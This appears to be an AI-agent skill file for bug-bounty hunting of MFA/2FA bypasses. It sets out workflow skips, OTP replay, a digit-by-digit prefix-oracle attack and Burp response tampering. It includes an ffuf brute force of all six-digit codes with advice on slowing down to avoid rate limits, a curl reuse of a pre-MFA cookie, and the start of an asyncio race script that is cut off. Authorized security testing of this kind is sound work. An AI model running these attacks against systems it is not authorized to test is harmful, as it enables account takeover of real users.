$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-mfa-bypassHunt MFA / 2FA bypass — 7 distinct patterns. (1) MFA not enforced on sensitive endpoints (password change, email change accept without MFA challenge), (2) MFA-step skip via direct navigation to post-login URL, (3) MFA-token replay (same code accepted twice), (4) brute-force the 6
| 1 | ## Autonomous Testing Priority |
| 2 | |
| 3 | **Try workflow bypasses before brute force — they're faster and more likely to succeed.** |
| 4 | |
| 5 | **Pattern 1 — Skip the MFA step entirely (most automatable):** |
| 6 | 1. Login with valid credentials → receive a "pre-MFA" session state |
| 7 | 2. Without completing MFA, directly access a protected resource (`/dashboard`, `/api/me`, `/account/profile`) |
| 8 | 3. If the response returns user data → MFA is enforced only in the UI, not server-side = Critical |
| 9 | |
| 10 | **Pattern 2 — OTP replay (reuse a consumed code):** |
| 11 | 1. Complete a valid MFA flow to get a working OTP |
| 12 | 2. Log out, log in again with the same credentials |
| 13 | 3. Submit the same OTP again |
| 14 | 4. If accepted → OTP is not invalidated after use |
| 15 | |
| 16 | **Pattern 3 — Submit obviously wrong OTP, observe response:** |
| 17 | Try submitting `000000` or `123456`. If the response is 200 or returns a session token, OTP validation is broken or client-side only. |
| 18 | |
| 19 | **Pattern 4 — Partial / incremental validation (prefix oracle):** |
| 20 | If a guessed full code is rejected, test whether the server validates the OTP **prefix-by-prefix** instead of all-or-nothing. Submit a short partial code and compare responses: |
| 21 | 1. Submit a 1–3 digit value (e.g. `otp=1`, then `otp=12`, …) — for a POST verify endpoint the code goes in the **request body**, not the URL query string, or the server reads an empty value. |
| 22 | 2. If a *correct* prefix gives a DIFFERENT response than a wrong one (a success/flag, a distinct message, or a different length/timing), the validator leaks correctness one chunk at a time. |
| 23 | 3. Walk the code digit-by-digit: keep the prefix that "responds correct," append 0–9, repeat. This collapses 10^6 brute force to ~10×N guesses (≤60 for a 6-digit code) — very feasible in a bounded test. |
| 24 | This is the go-to when there is no leaked code and no skip/replay path. Some apps award success on *any* correct prefix outright (so a single correct first digit can win — sweep `otp=0,1,…,9` before giving up). |
| 25 | **CRITICAL — stay in ONE session:** re-authenticating (POST /…/login again) regenerates the OTP, throwing away your prefix progress. Do the entire sweep against a single established MFA session; never re-login between guesses. |
| 26 | |
| 27 | **On full brute force:** brute-forcing all 10^6 codes is infeasible in a bounded test — but the prefix oracle above (Pattern 4) usually makes it unnecessary. Only attempt full brute force with evidence of no rate limit AND a small key space. |
| 28 | |
| 29 | **Proof:** A session token or protected resource data in the response without completing MFA confirms the bypass. |
| 30 | |
| 31 | --- |
| 32 | |
| 33 | ## 19. MFA / 2FA BYPASS |
| 34 | > Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session. |
| 35 | |
| 36 | ### Pattern 1: No Rate Limit on OTP |
| 37 | ```bash |
| 38 | # Test with ffuf — all 1M 6-digit codes |
| 39 | ffuf -u "https://target.com/api/verify-otp" \ |
| 40 | -X POST -H "Content-Type: application/json" \ |
| 41 | -H "Cookie: session=YOUR_SESSION" \ |
| 42 | -d '{"otp":"FUZZ"}' \ |
| 43 | -w <(seq -w 000000 999999) \ |
| 44 | -fc 400,429 -t 5 |
| 45 | # -t 5 (slow down) — aggressive rates get 429 or ban |
| 46 | ``` |
| 47 | |
| 48 | ### Pattern 2: OTP Not Invalidated After Use |
| 49 | ``` |
| 50 | 1. Login → receive OTP "123456" → enter it → success |
| 51 | 2. Logout → login again with same credentials |
| 52 | 3. Try OTP "123456" again |
| 53 | 4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever) |
| 54 | ``` |
| 55 | |
| 56 | ### Pattern 3: Response Manipulation |
| 57 | ``` |
| 58 | 1. Enter wrong OTP → capture response in Burp |
| 59 | 2. Change {"success":false} → {"success":true} (or 401 → 200) |
| 60 | 3. Forward → if app proceeds → client-side only MFA check |
| 61 | ``` |
| 62 | |
| 63 | ### Pattern 4: Skip MFA Step (Workflow Bypass) |
| 64 | ```bash |
| 65 | # After entering password, app sets a "pre-mfa" cookie → redirects to /mfa |
| 66 | # Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie |
| 67 | # If app grants access without MFA = auth flow bypass = Critical |
| 68 | curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard |
| 69 | ``` |
| 70 | |
| 71 | ### Pattern 5: Race on MFA Verification |
| 72 | ```python |
| 73 | import asyncio, aiohttp |
| 74 | |
| 75 | async def verify(session, otp): |
| 76 | async with session.post("https://target.com/api/mfa/verify", |
| 77 | json={"otp": otp}) as r: |
| 78 | return r.status, await r.text() |
| 79 | |
| 80 | async def r |